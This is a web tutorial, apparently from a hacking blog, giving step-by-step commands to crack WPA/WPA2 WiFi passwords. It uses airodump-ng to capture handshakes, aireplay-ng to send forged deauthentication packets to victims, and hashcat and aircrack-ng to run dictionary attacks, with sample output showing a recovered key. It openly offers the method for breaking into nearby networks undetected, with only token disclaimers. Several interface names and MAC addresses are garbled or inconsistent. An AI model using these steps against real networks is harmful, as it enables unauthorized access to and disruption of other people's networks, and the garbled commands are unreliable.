How to Crack WPA/WPA2 WiFi Passwords with Hashcat & Aircrack-ng 2020

(Tutorial) How to Hack WPA/WPA2 using Aircrack-ng and Hashcat.

0

How to Crack WPA/WPA2 WiFi Passwords with Hashcat & Aircrack-ng 2020

In this guide, we are going to help you out how you can crack WiFi networks using two of the best wireless hacking tools that are secured by using a weak password. We will be detailing step-by-step on how you can hack WPA2 using aircrack-ng and hashcat, though it is not exhaustive. This is going to be enough information for the users to test their network security or break into one that is near.

The attack that has been outlined below is entirely passive and is impossible to detect provided that the password that has been cracked is not going to be used by you. To speed up the reconnaissance process and optional de-authentication attack can be used plus you can know more about it till the end of the guide

If somehow you have a little know-how regarding this process, then you do not need to know the descriptions just jump to the list of commands that have been used at the bottom.

Note: Do keep one thing in your mind that this tutorial is only for educational purpose and should not be used for any illegal activity and the author is not responsible for any kind of use.

The tools needed

How to Crack WPA2 Passwords with Aircrack-ng and Hashcat (Tutorial)

Enable Monitor Mode in your WiFi Adapter

You need to begin with listing the wireless interactions that support monitor mode with:

Airmon-ng

If no interface is listed, then it means that your wireless card does not provide support to the monitor mode. We can assume that the name of wireless interface is [email protected] be sure to use the correct name if it differs from this, then we are going to place the interface in the monitor mode:

Airmon-ng start [email protected]

After this, you need to run iwconfig. You shall now be able to see a new monitor mode listed like m[email protected] or [email protected].

Find your target

You need to start listening to the 802.11 Beacon frames that are broadcasted by the near wireless routers by using your monitor interface:

Airodump-ng [email protected]

You are going to see the following output:

CH 13 ][ Elapsed: 52 s ][ 2020–03–07 16:50

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests

14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8

14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0>

14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK securedyou

9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK securedyou

00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK SecuredYou is the best

06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2

78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2

9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT

BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root

EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca

Now we are going to crack the password of a network by the name securedyou. You need to remember the BSSID MAC address as well as the channel (CH) number as it is displayed by Airodump-ng as we require both of them for the next step.

SEE ALSO: How to Hack WPA3 WiFi Network Passwords in 2020 (Tutorial).

How to Capture a 4-way Handshake in WiFi Networks

The WPA or WPA2 uses a 4-way handshake to authenticate devices to the network. You do not need to know what it means, but you need to capture one of these handshakes to crack the network password. Handshakes take place when a device connects with the network like when your neighbours come home we can capture this handshake by directing airmon-ng to monitor traffic on the target by using the channel as well as bssid values that came from the last command.

  • replace -c and — bssid values with the values of your target network
  • -w specifies the directory where we will save the packet capture
  • airodump-ng -c 3 — bssid 9C:5C:8E:C9:AB: C0 -w . mon0
  • CH 6 ][ Elapsed: 1 min ][ 2020–03–7 13:09:16 ]
  • BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
  • 9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK DELL

Once you have captured the handshake you need to see something like {WPA handshake: bc: d3: c9: ef : d2: 67 there is the top right of the screen, just right of the current time.

If you feel impatient and are comfortable with using the active attack, then you can force the devices to connect towards the target network to reconnect by sending malicious de-authentication packets towards them. This results in the capture of a 4-way handshake.

Once the handshake has been captured, you need to press ctrl-c to quit airodump-ng. You shall see a .cap file where you told airodump-ng to save the capture that is called -01.Cap. We are going to use this capture file to crack the network password. We are going to rename this file to reflect the network name that we are trying to crack:

Mv ./-01.cap securedyou.cap

SEE ALSO: How to Secure your WiFi Routers from being hacked.

The Real Fun: Cracking the WPA2 Pin

The last step is going to crack the password by using the captured handshake. If you have got access to a GPU, it is highly recommended to use the hashcat for password cracking. We have created a tool that makes the hashcat very easy to use known as the naïve-hashcat.

If you do not have access towards the GPU, then you can find many GPU cracking services that can be used like the GPUHASH.me or OnlineHashCrack. You can also use CPU cracking with the Aircrack-ng. However, if you want to save time and use most of your GPU then you should overclock your GPU to speed up the brute-forcing.

Keep in mind that both the ways below assume a weal user-generated password. Many of the WPA or WPA2 router comes with a string 12 character random passwords that most of the users leave unchanged. We recommend you to use the probable wordlists WPA length dictionary files if you want to crack any one of these passwords.

Using Naive-Hashcat to do the Magic

How to crack wifi password with aircrack-ng

Before you crack the password by using the naïve-hashcat, you need to convert the .cap file to the equivalent hashcat file format .hccapx.  This can be done very quickly by either uploading the .cap file to https://hashcat.net/cap2hccapx or by directly using cap2hccapx tool.

Then you need to download and run it in hashcat:

# downloadgit clone https://github.com/brannondorsey/naive-hashcat

cd naive-hashcat

Download a wordlist or large dictionary file:

Passwords Wordlist for Cracking WPA2 WiFi Passwords

Hashcat mode for WPA/WPA2 which you need to set:

2500 is the hashcat hash mode for WPA/WPA2

HASH_FILE=securedyou.hccapx POT_FILE=securedyou.pot HASH_TYPE=2500 ./naive-hashcat.sh

SEE ALSO: 10 Best WiFi Hacking Tools for Kali Linux 2020 (Free Download).

The naïve-hashcat uses different attacks like rule, combination, mask and dictionary and can take almost 10 days to run against the mid-strength passwords. The cracked password is saved to hackme.pot thus you need to check this file periodically. Once the password has been cracked, you shall see something like this as the content of your POT_FILE:

e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:securedyouhacking

The last two filed that have been separated by: is the name of the network and the password respectively.

Using Aircrack-ng to perform Dictionary Attack

The aircrack-ng can also be used for dictionary attacks that are basic and run on your CPU. Before running the offence, you need a wordlist. We recommend you to use the infamous rockyou dictionary file.

Download RockYou Dictionary Wordlist File

Keep in mind that if the network password is not in the wordlist, then you shall not crack the password.

  • # -a2 specifies WPA2, -b is the BSSID, -w is the word file
  • aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap

You shall see a KEY FOUND message in the terminal that is followed by a plain text version of the network password if the password is cracked.

  • Aircrack-ng 2.0
  • [00:01:49] 111040 keys tested (102.73 k/s)
  • KEY FOUND! [ SecuredYou-test-environment ]
  • Master Key : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89
  • 59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E
  • Transient Key : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71
  • 2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73
  • 6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78
  • 8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21
  • EAPOL HMAC : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4

SEE ALSO: 11 Best Live CD Security Linux Distros for Ethical Hacking and Penetration Testing.

Performing the De-authentication Attack

The de-authentication attack can send forged de-authentication packets from your machine towards the client connected to the network that you are trying to crack. The packages include fake sender addresses that appear to the client as if they were sent from the access point themselves. On the receipt of packages like these many clients likely to disconnect from the network and then reconnect immediately provided with a 4-way handshake if you are listening with airodump-ng.

You can use airodump-ng to monitor a specific access point (using –c channel –bssid MAC) unless and until you see a client (STATION) connected. A connected client looks almost like this, where is 64: BC: 0C: 48: 97: F7 the client MAC.

  • CH 7 ][ Elapsed: 4 mins ][ 2020–03-08 20:24 ]
  • BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
  • 9C:5C:8E:C9:AB:C0 -19 75 1043 144 10 6 54e WPA2 CCMP PSK ASUS
  • BSSID STATION PWR Rate Lost Frames Prob
  • 9C:5C:8E:C9:AB:C0 64:BC:0C:48:97:F7 -37 1e- 1e 4 6479 Dell

Now you need to leave airodump-ng to run and open a new terminal. We are going to use an airplay-ng command to send fake de-auth packets towards the victim client, which forces it to reconnect with the network and grabbing a handshake in the process hopefully.

  • -0 3 specifies we would like to send 3 deauth packets. Increase this number
  • if need be with the risk of noticeably interrupting client network activity
  • -a is the MAC of the access point
  • -c is the MAC of the client
  • aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:X0 -c 64:DC:3C:48:97:F7 mon0

You can also broadcast deauth packets to all connected clients in a wireless network using the below command:

  • aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 mon0

SEE ALSO: Ethical Hacking Cheat Sheet for Professional Hackers.

As soon as you send the deauth packets, you need to go back to the airodump-ng process and if there is any luck you shall be able to see something like this there on the top right [ WPA handshake: 9C: 6C: 9E: D7: 8G: C0. Now, as the handshake has been captured, you are ready to crack the network password.

Video Version of the tutorial

If you are someone who learns by watching someone else doing it then below is a video version for you.

Hacking WPA2 Wireless Passwords using Aircrack-ng/Hashcat

Alternative wireless hacking tools you could use:

Last Words

Disclaimer: This is just a simulation of how someone can crack WPA2 passwords using tools like Hashcat and Aircrack-ng. This kind of activity should only be performed in a controlled environment where permission is given. However, I do hope you enjoyed this comprehensive tutorial and have made the most out of it.

LEAVE A REPLY

Please enter your comment!
Please enter your name here